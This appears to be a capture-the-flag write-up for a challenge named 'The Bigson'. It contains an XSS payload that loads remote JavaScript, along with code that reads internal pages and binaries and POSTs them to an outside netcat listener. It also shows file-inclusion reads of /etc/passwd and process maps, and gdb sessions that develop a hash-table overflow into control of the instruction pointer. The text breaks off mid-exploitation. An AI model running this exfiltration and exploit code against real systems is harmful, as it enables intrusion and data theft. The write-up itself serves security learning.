$plugins['authad'] = '0'; $plugins['authldap'] = '1'; $plugins['authmysql'] = '0'; $plugins['authpgsql'] = '0';
Task text for part 1:
We are trying to break into eXtreme Secure Solutions, where The Plague works as a system adminstrator. We have found that their internal company login page is at http://portal.essolutions.largestctf.com/. Recon has also revealed that The Plague likes to browse this site during work hours: http://54.196.225.30/ using the username ponyboy2004. Remember, our main target is to break into the company portal, *not* the pony site.
Task text for part 2:
This challenge has one more flag. Break into the internal server to capture it! Reminder: For security reasons, all internet traffic is blocked on the Bigson (http://bigson.essolutions.largestctf.com/index?file=index.html)
The difficulty of part 2 is that the Bigson cannot be accessed remotely so we need to do it via the previous XSS mechanism:
$ host-woods bigson.essolutions.largestctf.com bigson.essolutions.largestctf.com A 10.15.0.5
To get back information we will reuse what is on the otp site: AJAX. Let's do the exact query on the site and send the output to ourselves. We first need to get over the 127 character limitation in the argv[0] xss exploit. As the encoded payload we modify the following in create_xss_external.py:
#s = """<script>document.location="http://%s/logger.php?cookie="+document.cookie;</script>""" % YOUR_IP s = """<script\nsrc="http://swarm.cs.pub.ro/~rcaragea/part2.js"></script><!--"""
And this is part2.js:
function do_requests(geturl) { var response = ''; $.ajax({ type: "GET", url: geturl, async: false, success : function(data, textStatus, jqXHR) { response += "GET request response:\n" + jqXHR.responseText; }, error: function(jqXHR, textStatus, ex) { response += "GET request error response:\n" + textStatus + "\n" + ex + "\n" + jqXHR.responseText + jqXHR.getAllResponseHeaders() + jqXHR.statusCode(); } }); $.ajax({ type: "POST", url: "http://swarm.cs.pub.ro:42424", async: false, data: "Response so far: [" + response + "]", success : function(text) { } }); } function requests() { do_requests("http://bigson.essolutions.largestctf.com/index?file=index.html"); } var script = document.createElement("SCRIPT"); script.src = 'http://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js'; script.type = 'text/javascript'; document.getElementsByTagName("head")[0].appendChild(script); script.onload = requests;
This is the output:
rcaragea@swarm:~$ nc -lvp 42424 listening on [any] 42424 ... connect to [141.85.227.118] from ec2-54-86-24-189.compute-1.amazonaws.com [54.86.24.189] 36980 POST / HTTP/1.1 Origin: http://portal.essolutions.largestctf.com User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/534.34 (KHTML, like Gecko) PhantomJS/1.9.7 Safari/534.34 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Accept: */* Referer: http://portal.essolutions.largestctf.com/login.php Content-Length: 272 Connection: Keep-Alive Accept-Encoding: gzip Accept-Language: en-US,* Host: swarm.cs.pub.ro:42424 Response so far: [GET request response: <!doctype html> <html> <head> <title> The Bigson </title> </head> <body> <h1>The Bigson</h1> <p>Nobody can hack the Bigson!</p> <p>Note: The flag is not named anything obvious.</p> </body> </html>
Of course we try some file inclusions. Notice that the URL is “index?file=index.html”. What does index contain?
http://bigson.essolutions.largestctf.com/index?file=index Response so far: [GET request error response: error Not Found Not found.Content-Type: text/plain [object Object]]
There seems to be no index. What's more, the server does not issue a standard 404 response.
Response for [http://bigson.essolutions.largestctf.com/index?file=/etc/passwd] is: [GET request response: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh sshd:x:101:65534::/var/run/sshd:/usr/sbin/nologin admin:x:1000:1000:Debian:/home/admin:/bin/bash bigson:x:1001:1001:,,,:/home/bigson:/bin/bash ]
Let's up the ante and see what exactly we're dealing with:
Response for [http://bigson.essolutions.largestctf.com/index?file=/proc/self/cmdline] is: [GET request response: ./bigson]
Response for [http://bigson.essolutions.largestctf.com/index?file=/proc/self/maps] is: [GET request response: 00400000-0040b000 r-xp 00000000 ca:00 137120 /home/bigson/bigson 0060b000-0060c000 rw-p 0000b000 ca:00 137120 /home/bigson/bigson 00c10000-00c31000 rw-p 00000000 00:00 0 [heap] 7f8b79db3000-7f8b79dbe000 r-xp 00000000 ca:00 131189 /lib/x86_64-linux-gnu/libnss_files-2.13.so 7f8b79dbe000-7f8b79fbd000 ---p 0000b000 ca:00 131189 /lib/x86_64-linux-gnu/libnss_files-2.13.so 7f8b79fbd000-7f8b79fbe000 r--p 0000a000 ca:00 131189 /lib/x86_64-linux-gnu/libnss_files-2.13.so 7f8b79fbe000-7f8b79fbf000 rw-p 0000b000 ca:00 131189 /lib/x86_64-linux-gnu/libnss_files-2.13.so 7f8b79fbf000-7f8b79fc9000 r-xp 00000000 ca:00 131185 /lib/x86_64-linux-gnu/libnss_nis-2.13.so 7f8b79fc9000-7f8b7a1c8000 ---p 0000a000 ca:00 131185 /lib/x86_64-linux-gnu/libnss_nis-2.13.so 7f8b7a1c8000-7f8b7a1c9000 r--p 00009000 ca:00 131185 /lib/x86_64-linux-gnu/libnss_nis-2.13.so 7f8b7a1c9000-7f8b7a1ca000 rw-p 0000a000 ca:00 131185 /lib/x86_64-linux-gnu/libnss_nis-2.13.so 7f8b7a1ca000-7f8b7a1df000 r-xp 00000000 ca:00 131183 /lib/x86_64-linux-gnu/libnsl-2.13.so 7f8b7a1df000-7f8b7a3de000 ---p 00015000 ca:00 131183 /lib/x86_64-linux-gnu/libnsl-2.13.so 7f8b7a3de000-7f8b7a3df000 r--p 00014000 ca:00 131183 /lib/x86_64-linux-gnu/libnsl-2.13.so 7f8b7a3df000-7f8b7a3e0000 rw-p 00015000 ca:00 131183 /lib/x86_64-linux-gnu/libnsl-2.13.so 7f8b7a3e0000-7f8b7a3e2000 rw-p 00000000 00:00 0 7f8b7a3e2000-7f8b7a3e9000 r-xp 00000000 ca:00 131178 /lib/x86_64-linux-gnu/libnss_compat-2.13.so 7f8b7a3e9000-7f8b7a5e8000 ---p 00007000 ca:00 131178 /lib/x86_64-linux-gnu/libnss_compat-2.13.so 7f8b7a5e8000-7f8b7a5e9000 r--p 00006000 ca:00 131178 /lib/x86_64-linux-gnu/libnss_compat-2.13.so 7f8b7a5e9000-7f8b7a5ea000 rw-p 00007000 ca:00 131178 /lib/x86_64-linux-gnu/libnss_compat-2.13.so 7f8b7a5ea000-7f8b7a76c000 r-xp 00000000 ca:00 131172 /lib/x86_64-linux-gnu/libc-2.13.so 7f8b7a76c000-7f8b7a96b000 ---p 00182000 ca:00 131172 /lib/x86_64-linux-gnu/libc-2.13.so 7f8b7a96b000-7f8b7a96f000 r--p 00181000 ca:00 131172 /lib/x86_64-linux-gnu/libc-2.13.so 7f8b7a96f000-7f8b7a970000 rw-p 00185000 ca:00 131172 /lib/x86_64-linux-gnu/libc-2.13.so 7f8b7a970000-7f8b7a975000 rw-p 00000000 00:00 0 7f8b7a975000-7f8b7a98a000 r-xp 00000000 ca:00 131614 /lib/x86_64-linux-gnu/libgcc_s.so.1 7f8b7a98a000-7f8b7ab8a000 ---p 00015000 ca:00 131614 /lib/x86_64-linux-gnu/libgcc_s.so.1 7f8b7ab8a000-7f8b7ab8b000 rw-p 00015000 ca:00 131614 /lib/x86_64-linux-gnu/libgcc_s.so.1 7f8b7ab8b000-7f8b7ac0c000 r-xp 00000000 ca:00 131180 /lib/x86_64-linux-gnu/libm-2.13.so 7f8b7ac0c000-7f8b7ae0b000 ---p 00081000 ca:00 131180 /lib/x86_64-linux-gnu/libm-2.13.so 7f8b7ae0b000-7f8b7ae0c000 r--p 00080000 ca:00 131180 /lib/x86_64-linux-gnu/libm-2.13.so 7f8b7ae0c000-7f8b7ae0d000 rw-p 00081000 ca:00 131180 /lib/x86_64-linux-gnu/libm-2.13.so 7f8b7ae0d000-7f8b7aef5000 r-xp 00000000 ca:00 5400 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.17 7f8b7aef5000-7f8b7b0f5000 ---p 000e8000 ca:00 5400 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.17 7f8b7b0f5000-7f8b7b0fd000 r--p 000e8000 ca:00 5400 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.17 7f8b7b0fd000-7f8b7b0ff000 rw-p 000f0000 ca:00 5400 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.17 7f8b7b0ff000-7f8b7b114000 rw-p 00000000 00:00 0 7f8b7b114000-7f8b7b134000 r-xp 00000000 ca:00 131650 /lib/x86_64-linux-gnu/ld-2.13.so 7f8b7b329000-7f8b7b32e000 rw-p 00000000 00:00 0 7f8b7b331000-7f8b7b333000 rw-p 00000000 00:00 0 7f8b7b333000-7f8b7b334000 r--p 0001f000 ca:00 131650 /lib/x86_64-linux-gnu/ld-2.13.so 7f8b7b334000-7f8b7b335000 rw-p 00020000 ca:00 131650 /lib/x86_64-linux-gnu/ld-2.13.so 7f8b7b335000-7f8b7b336000 rw-p 00000000 00:00 0 7fffbf2bb000-7fffbf2dc000 rw-p 00000000 00:00 0 [stack] 7fffbf3cf000-7fffbf3d0000 r-xp 00000000 00:00 0 [vdso] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] ]
A second request to /proc/self/maps reveals the same memory layout so at least we don't need to worry about ASLR. We now know the location of the binary, however doing a request on “/home/bigson/bigson” leaves us with a corrupt ELF file with lots of BFFD bytes. After searching on the web for a solution we find that the problem lies with the charset. Trying another charset such as charset=us-ascii solves the problem a bit more but not entirely. More googling leads us to https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest/Sending_and_Receiving_Binary_Data where we hit upon the correct charset to be used: charset=x-user-defined. Trying locally on a binary such as “/bin/ls” confirms this is a valid solution.
function do_requests(geturl) { var response = ''; $.ajax({ type: "GET", url: geturl, async: false, beforeSend : function (xhr) { xhr.overrideMimeType( "application/octet-stream; charset=x-user-defined" ); }, success : function(data, textStatus, jqXHR) { response += jqXHR.responseText; }, error: function(jqXHR, textStatus, ex) { response += "GET request error response:\n" + textStatus + "\n" + ex + "\n" + jqXHR.responseText + jqXHR.getAllResponseHeaders() + jqXHR.statusCode(); } }); var resp = "["; for ( var i = 0; i < response.length; i++ ) { resp += (response.charCodeAt(i) & 0xFF) + ","; } resp += "]"; $.ajax({ type: "POST", url: "http://swarm.cs.pub.ro:42424", async: false, data: "Response for ["+ geturl + "] is: [\n" + resp, success : function(text) { } }); } function requests() { do_requests("http://bigson.essolutions.largestctf.com/index?file=/home/bigson/bigson"); } var script = document.createElement("SCRIPT"); script.src = 'http://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js'; script.type = 'text/javascript'; document.getElementsByTagName("head")[0].appendChild(script); script.onload = requests;
#!/usr/bin/python import base64, urllib, sys f = open( sys.argv[1], "r") s = f.read() a = eval(s) print ''.join([chr(i) for i in a])
rcaragea@swarm:~$ nc -lvp 42424 > response listening on [any] 42424 ... connect to [141.85.227.118] from ec2-54-86-24-189.compute-1.amazonaws.com [54.86.24.189] 37112 rcaragea@swarm:~$ nano response rcaragea@swarm:~$ python ./listdec.py response > /tmp/bigson_test rcaragea@swarm:~$ file /tmp/bigson_test /tmp/bigson_test: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.26, BuildID[sha1]=79349a2a7b411808d739025c5d61c62fbfc9942e, not stripped rcaragea@swarm:~$ # /tmp/bigson_test bind: Address already in use
Of course this is a very crude and not so elegant solution but it seems to be working. We dump the other libraries in case we will need ROP gadgets and start analyzing the binary.
The initial analysis reveals the webserver is written in C++.
The first thing to do is to demangle the names using http://demangler.com/ or the settings in your favorite program.
The output is better now:
Some interesting class names now appear:
There is also an interesting assert call in the binary:
__assert_fail("hash_function_ != nullptr", "stage2.cc", 0xcd, "size_t HashTable::Hash(const string&) const");
Of course we should try to download stage2.cc from various directories but it doesn't appear to be on the filesystem.
By fuzzing the URL we get an interesting crash when a GET parameter is too big. Further analysis using a combination of IDA, Hopper and manual reversing leads us to the source of the crash:
function HashTable::Insert(std::string const&, std::string const&) { bucket_array = rdi; var_16 = rsi; var_8 = rdx; rax = HashTable::Lookup(bucket_array, var_16, var_16); hashentry = rax; if (hashentry == 0x0) { rax = operator new(0x18); rbx = rax; HashEntry::HashEntry(rbx, var_16); hashentry = rbx; hash_val = HashTable::Hash(bucket_array, var_16, var_16); hashentry->next = bucket_array[1 + hash_val]; //crashes here at 0x4032d4 ; new entry's next points to rest of chain (add to front) bucket_array[1 + hash_val] = hashentry; // ; bucket array points to new entry } rax = std::string::operator=(hashentry, var_8, var_8); return rax; }
It first looks up the parameter given in order to check if it was already inserted, if not it allocates a new HashEntry instance populates it and stores it at bucket_array[1 + hash(parameter)]. What is the hash function then? Let's check the constructor.
function HashTable::HashTable() { var_8 = rdi; *var_8 = 0x0; rsi = var_8 + 0x8; asm{ rep stosq }; rax = operator new(0x8, rsi, 0x101, 0x101); rbx = rax; PHPHash::PHPHash(rbx); rax = _ZNSt10unique_ptrI12HashFunctionSt14default_deleteIS0_EEC2EPS0_(var_8 + 0x810, rbx); return rax; }
Hmm, what does PHPHash do?
function PHPHash::operator()(char const*) { var_m24 = rdi; var_m32 = rsi; var_m8 = 0x0; rax = *(int8_t *)var_m32 & 0xff; TEST(rax & rax); asm{ setne al }; while (rax != 0x0) { var_m32 = var_m32 + 0x1; var_m8 = var_m8 + 0x1; } rax = var_m8; return rax; }
Hilarious! It's good old strlen. Here's a reference to the source of the name: https://news.ycombinator.com/item?id=6919216
So using the length of the parameter we can overwrite stuff in that memory zone. Let's see what we have there and what exactly gets written.
$ curl 127.0.0.1:81/index?TESTINGPARAM=TESTINGVALUE ... in another terminal: gdb-peda$ set follow-fork-mode child gdb-peda$ b *0x4032d4 Breakpoint 1 at 0x4032d4 gdb-peda$ run [New process 25704] [Switching to process 25704] [----------------------------------registers-----------------------------------] RAX: 0x7fffffffd350 --> 0x0 RBX: 0x60fb40 --> 0x7ffff7dda3f8 --> 0x0 RCX: 0x7ffff75b85c0 --> 0x0 RDX: 0xc ('\x0c') RSI: 0x60fad8 ("TESTINGPARAM") RDI: 0x60f740 --> 0x407c50 --> 0x403126 (<_ZN7PHPHashD2Ev>: push rbp) RBP: 0x7fffffffd1c0 --> 0x7fffffffd240 --> 0x7fffffffd280 --> 0x7fffffffdbb0 --> 0x7fffffffdbd0 --> 0x7fffffffdc20 --> 0x0 RSP: 0x7fffffffd180 --> 0x7fffffffd240 --> 0x7fffffffd280 --> 0x7fffffffdbb0 --> 0x7fffffffdbd0 --> 0x7fffffffdc20 --> 0x0 RIP: 0x4032d4 (<_ZN9HashTable6InsertERKSsS1_+116>: mov rdx,QWORD PTR [rax+rdx*8+0x8]) R8 : 0x0 R9 : 0x0 R10: 0x7fffffffcf00 --> 0x0 R11: 0x7ffff7b907d0 (<_ZNKSs5c_strEv>: mov rax,QWORD PTR [rdi]) R12: 0x401ff0 (<_start>: xor ebp,ebp) R13: 0x7fffffffdd00 --> 0x1 R14: 0x0 R15: 0x0 EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x4032c8 <_ZN9HashTable6InsertERKSsS1_+104>: mov QWORD PTR [rbp-0x20],rax 0x4032cc <_ZN9HashTable6InsertERKSsS1_+108>: mov rax,QWORD PTR [rbp-0x28] 0x4032d0 <_ZN9HashTable6InsertERKSsS1_+112>: mov rdx,QWORD PTR [rbp-0x20] => 0x4032d4 <_ZN9HashTable6InsertERKSsS1_+116>: mov rdx,QWORD PTR [rax+rdx*8+0x8] 0x4032d9 <_ZN9HashTable6InsertERKSsS1_+121>: mov rax,QWORD PTR [rbp-0x18] 0x4032dd <_ZN9HashTable6InsertERKSsS1_+125>: mov QWORD PTR [rax+0x10],rdx 0x4032e1 <_ZN9HashTable6InsertERKSsS1_+129>: mov rax,QWORD PTR [rbp-0x28] 0x4032e5 <_ZN9HashTable6InsertERKSsS1_+133>: mov rdx,QWORD PTR [rbp-0x20] [------------------------------------stack-------------------------------------] 0000| 0x7fffffffd180 --> 0x7fffffffd240 --> 0x7fffffffd280 --> 0x7fffffffdbb0 --> 0x7fffffffdbd0 --> 0x7fffffffdc20 --> 0x0 0008| 0x7fffffffd188 --> 0x7fffffffd1e0 --> 0x60fb18 ("TESTINGVALUE") 0016| 0x7fffffffd190 --> 0x7fffffffd1f0 --> 0x60fad8 ("TESTINGPARAM") 0024| 0x7fffffffd198 --> 0x7fffffffd350 --> 0x0 0032| 0x7fffffffd1a0 --> 0xc ('\x0c') 0040| 0x7fffffffd1a8 --> 0x60fb40 --> 0x7ffff7dda3f8 --> 0x0 0048| 0x7fffffffd1b0 --> 0x0 0056| 0x7fffffffd1b8 --> 0x401ff0 (<_start>: xor ebp,ebp) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 1, 0x00000000004032d4 in HashTable::Insert(std::string const&, std::string const&) () gdb-peda$ telescope $rax 300 0000| 0x7fffffffd350 --> 0x0 0008| 0x7fffffffd358 --> 0x0 0016| 0x7fffffffd360 --> 0x0 0024| 0x7fffffffd368 --> 0x0 0032| 0x7fffffffd370 --> 0x0 0040| 0x7fffffffd378 --> 0x0 0048| 0x7fffffffd380 --> 0x0 0056| 0x7fffffffd388 --> 0x0 0064| 0x7fffffffd390 --> 0x0 0072| 0x7fffffffd398 --> 0x0 0080| 0x7fffffffd3a0 --> 0x0 0088| 0x7fffffffd3a8 --> 0x0 0096| 0x7fffffffd3b0 --> 0x0 0104| 0x7fffffffd3b8 --> 0x0 0112| 0x7fffffffd3c0 --> 0x0 0120| 0x7fffffffd3c8 --> 0x0 0128| 0x7fffffffd3d0 --> 0x0 0136| 0x7fffffffd3d8 --> 0x0 0144| 0x7fffffffd3e0 --> 0x0 ......................................................... 2000| 0x7fffffffdb20 --> 0x0 2008| 0x7fffffffdb28 --> 0x0 2016| 0x7fffffffdb30 --> 0x0 2024| 0x7fffffffdb38 --> 0x0 2032| 0x7fffffffdb40 --> 0x0 2040| 0x7fffffffdb48 --> 0x0 2048| 0x7fffffffdb50 --> 0x0 2056| 0x7fffffffdb58 --> 0x0 2064| 0x7fffffffdb60 --> 0x60f740 --> 0x407c50 --> 0x403126 (<_ZN7PHPHashD2Ev>: push rbp) 2072| 0x7fffffffdb68 --> 0x7ffff72d1d83 (<setgid+19>: cmp rax,0xfffffffffffff000) 2080| 0x7fffffffdb70 --> 0xffffffffffffff88 2088| 0x7fffffffdb78 --> 0x0 2096| 0x7fffffffdb80 --> 0x3eb 2104| 0x7fffffffdb88 --> 0x3 2112| 0x7fffffffdb90 --> 0x0 2120| 0x7fffffffdb98 --> 0x0 2128| 0x7fffffffdba0 --> 0x18 2136| 0x7fffffffdba8 --> 0x0 2144| 0x7fffffffdbb0 --> 0x7fffffffdbd0 --> 0x7fffffffdc20 --> 0x0 2152| 0x7fffffffdbb8 --> 0x402d12 (<_Z6handlei+26>: leave) 2160| 0x7fffffffdbc0 --> 0x7ffff7fb4740 (0x00007ffff7fb4740) 2168| 0x7fffffffdbc8 --> 0xaf75baec0 2176| 0x7fffffffdbd0 --> 0x7fffffffdc20 --> 0x0 2184| 0x7fffffffdbd8 --> 0x402f1e (<main+522>: mov eax,DWORD PTR [rbp-0x8])
The push rbp instruction seems interesting as that's the beginning of function prologues. Demangling the name gives us: “PHPHash::~PHPHash()”. Maybe we can overwrite it somehow.
We first check what gets written by our initial query by doing some more steps and dumping the memory:
gdb-peda$ telescope 0x7fffffffd350 20 0000| 0x7fffffffd350 --> 0x1 0008| 0x7fffffffd358 --> 0x0 0016| 0x7fffffffd360 --> 0x0 0024| 0x7fffffffd368 --> 0x0 0032| 0x7fffffffd370 --> 0x0 0040| 0x7fffffffd378 --> 0x0 0048| 0x7fffffffd380 --> 0x0 0056| 0x7fffffffd388 --> 0x0 0064| 0x7fffffffd390 --> 0x0 0072| 0x7fffffffd398 --> 0x0 0080| 0x7fffffffd3a0 --> 0x0 0088| 0x7fffffffd3a8 --> 0x0 0096| 0x7fffffffd3b0 --> 0x0 0104| 0x7fffffffd3b8 --> 0x60fb40 --> 0x60fb18 ("TESTINGVALUE")
Thus we have
0104| 0x7fffffffd3b8 --> 0x60fb40 --> 0x60fb18 ("TESTINGVALUE")
versus
2064| 0x7fffffffdb60 --> 0x60f740 --> 0x407c50 --> 0x403126 (<_ZN7PHPHashD2Ev>: push rbp)
The indirection levels seem to be equal. Let's try and force a segmentation fault at 44434241 using ABCD.
First we find out where the call is made from by setting a breakpoint on 0x403126. The location is
0x00000000004034ce <+120>: call r12
$ curl 127.0.0.1:81/index?aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=ABCD $ dmesg | tail -1 [Apr19 20:01] bigson_fork_nol[26239]: segfault at 1 ip 0000000000000001 sp 00007fffffffcf88 error 14 in bigson_fork_nolocal[400000+b000]
It doesn't seem to be working. We set a breakpoint right before r12 is set.
gdb-peda$ [----------------------------------registers-----------------------------------] RAX: 0x60fd78 --> 0x6161610044434241 ('ABCD') RBX: 0x60fbd0 --> 0x60fd78 --> 0x6161610044434241 ('ABCD') RCX: 0x60fc08 --> 0x61616100656c6966 ('file') RDX: 0x7fffffffd250 --> 0x60fc08 --> 0x61616100656c6966 ('file') RSI: 0x0 RDI: 0x7fffffffdb60 --> 0x60fbd0 --> 0x60fd78 --> 0x6161610044434241 ('ABCD') RBP: 0x7fffffffcfb0 --> 0x7fffffffcfe0 --> 0x7fffffffd280 --> 0x7fffffffdbb0 --> 0x7fffffffdbd0 --> 0x7fffffffdc20 --> 0x0 RSP: 0x7fffffffcf90 --> 0x7fffffffd250 --> 0x60fc08 --> 0x61616100656c6966 ('file') RIP: 0x4034b5 (<_ZNK9HashTable4HashERKSs+95>: add rax,0x18) R8 : 0x2710 R9 : 0x0 R10: 0x7ffff75b8618 --> 0x610290 --> 0x0 R11: 0x7ffff7386cf0 --> 0xfffc4e30fffc4670 R12: 0x401ff0 (<_start>: xor ebp,ebp) R13: 0x7fffffffdd00 --> 0x1 R14: 0x0 R15: 0x0 EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x4034aa <_ZNK9HashTable4HashERKSs+84>: call 0x404610 <_ZNKSt10unique_ptrI12HashFunctionSt14default_deleteIS0_EEdeEv> 0x4034af <_ZNK9HashTable4HashERKSs+89>: mov rbx,rax 0x4034b2 <_ZNK9HashTable4HashERKSs+92>: mov rax,QWORD PTR [rbx] => 0x4034b5 <_ZNK9HashTable4HashERKSs+95>: add rax,0x18 0x4034b9 <_ZNK9HashTable4HashERKSs+99>: mov r12,QWORD PTR [rax] 0x4034bc <_ZNK9HashTable4HashERKSs+102>: mov rax,QWORD PTR [rbp-0x20] 0x4034c0 <_ZNK9HashTable4HashERKSs+106>: mov rdi,rax 0x4034c3 <_ZNK9HashTable4HashERKSs+109>: call 0x401bb0 <_ZNKSs5c_strEv@plt> [------------------------------------stack-------------------------------------] 0000| 0x7fffffffcf90 --> 0x7fffffffd250 --> 0x60fc08 --> 0x61616100656c6966 ('file') 0008| 0x7fffffffcf98 --> 0x7fffffffd350 --> 0x1 0016| 0x7fffffffcfa0 --> 0x0 0024| 0x7fffffffcfa8 --> 0x401ff0 (<_start>: xor ebp,ebp) 0032| 0x7fffffffcfb0 --> 0x7fffffffcfe0 --> 0x7fffffffd280 --> 0x7fffffffdbb0 --> 0x7fffffffdbd0 --> 0x7fffffffdc20 --> 0x0 0040| 0x7fffffffcfb8 --> 0x40336e (<_ZNK9HashTable6LookupERKSs+54>: mov QWORD PTR [rbp-0x10],rax) 0048| 0x7fffffffcfc0 --> 0x7fffffffd250 --> 0x60fc08 --> 0x61616100656c6966 ('file') 0056| 0x7fffffffcfc8 --> 0x7fffffffd350 --> 0x1 [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x00000000004034b5 in HashTable::Hash(std::string const&) const () gdb-peda$ hexdump $rax /4 0x0060fd78 : 41 42 43 44 00 61 61 61 00 00 00 00 00 00 00 00 ABCD.aaa........ 0x0060fd88 : 41 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 A............... 0x0060fd98 : b8 d2 ff ff ff 7f 00 00 00 00 00 00 00 00 00 00 ................ 0x0060fda8 : 00 00 00 00 00 00 00 00 48 fd 60 00 00 00 00 00 ........H.`.....
Okay. The value needs to be longer. We do a standard pattern create+send+search to figure it out effortlessly:
gdb-peda$ pattc 0x32 'AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfA' ............ $ curl 127.0.0.1:81/index?aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfA ..................... gdb-peda$ Stopped reason: SIGSEGV 0x00000000004034ce in HashTable::Hash(std::string const&) const () gdb-peda$ patts r12 Registers contain pattern buffer: R12+0 found at offset: 24
As expected, the dereferencing is done at 0x18 = 24. We now control RIP.
Since the binary has NX enabled we can't insert a shellcode and jump to it. We need to do a ROP attack using only one gadget. For this we also need to find out what we have on the stack and in the registers.
gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : disabled Program received signal SIGSEGV, Segmentation fault. [Switching to process 26521] [----------------------------------registers-----------------------------------] RAX: 0x60fc38 --> 0x61616100656c6966 ('file') RBX: 0x60fc00 --> 0x60fe28 ("AAAaAA0AABAAbAA1AACAAcAAABCD") RCX: 0x60fc38 --> 0x61616100656c6966 ('file') RDX: 0x7fffffffd250 --> 0x60fc38 --> 0x61616100656c6966 ('file') RSI: 0x60fc38 --> 0x61616100656c6966 ('file') RDI: 0x60fc00 --> 0x60fe28 ("AAAaAA0AABAAbAA1AACAAcAAABCD") RBP: 0x7fffffffcfb0 --> 0x7fffffffcfe0 --> 0x7fffffffd280 --> 0x7fffffffdbb0 --> 0x7fffffffdbd0 --> 0x7fffffffdc20 --> 0x0 RSP: 0x7fffffffcf90 --> 0x7fffffffd250 --> 0x60fc38 --> 0x61616100656c6966 ('file') RIP: 0x4034ce (<_ZNK9HashTable4HashERKSs+120>: call r12) R8 : 0x2710 R9 : 0x0 R10: 0x7ffff75b8618 --> 0x6102d0 --> 0x0 R11: 0x7ffff7386cf0 --> 0xfffc4e30fffc4670 R12: 0x6161610044434241 ('ABCD') R13: 0x7fffffffdd00 --> 0x1 R14: 0x0 R15: 0x0 EFLAGS: 0x10212 (carry parity ADJUST zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x4034c3 <_ZNK9HashTable4HashERKSs+109>: call 0x401bb0 <_ZNKSs5c_strEv@plt> 0x4034c8 <_ZNK9HashTable4HashERKSs+114>: mov rsi,rax 0x4034cb <_ZNK9HashTable4HashERKSs+117>: mov rdi,rbx => 0x4034ce <_ZNK9HashTable4HashERKSs+120>: call r12 0x4034d1 <_ZNK9HashTable4HashERKSs+123>: add rsp,0x10 0x4034d5 <_ZNK9HashTable4HashERKSs+127>: pop rbx 0x4034d6 <_ZNK9HashTable4HashERKSs+128>: pop r12 0x4034d8 <_ZNK9HashTable4HashERKSs+130>: pop rbp Guessed arguments: arg[0]: 0x60fc00 --> 0x60fe28 ("AAAaAA0AABAAbAA1AACAAcAAABCD") arg[1]: 0x60fc38 --> 0x61616100656c6966 ('file') [------------------------------------stack-------------------------------------] 0000| 0x7fffffffcf90 --> 0x7fffffffd250 --> 0x60fc38 --> 0x61616100656c6966 ('file') 0008| 0x7fffffffcf98 --> 0x7fffffffd350 --> 0x1 0016| 0x7fffffffcfa0 --> 0x0 0024| 0x7fffffffcfa8 --> 0x401ff0 (<_start>: xor ebp,ebp) 0032| 0x7fffffffcfb0 --> 0x7fffffffcfe0 --> 0x7fffffffd280 --> 0x7fffffffdbb0 --> 0x7fffffffdbd0 --> 0x7fffffffdc20 --> 0x0 0040| 0x7fffffffcfb8 --> 0x40336e (<_ZNK9HashTable6LookupERKSs+54>: mov QWORD PTR [rbp-0x10],rax) 0048| 0x7fffffffcfc0 --> 0x7fffffffd250 --> 0x60fc38 --> 0x61616100656c6966 ('file') 0056| 0x7fffffffcfc8 --> 0x7fffffffd350 --> 0x1 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x00000000004034ce in 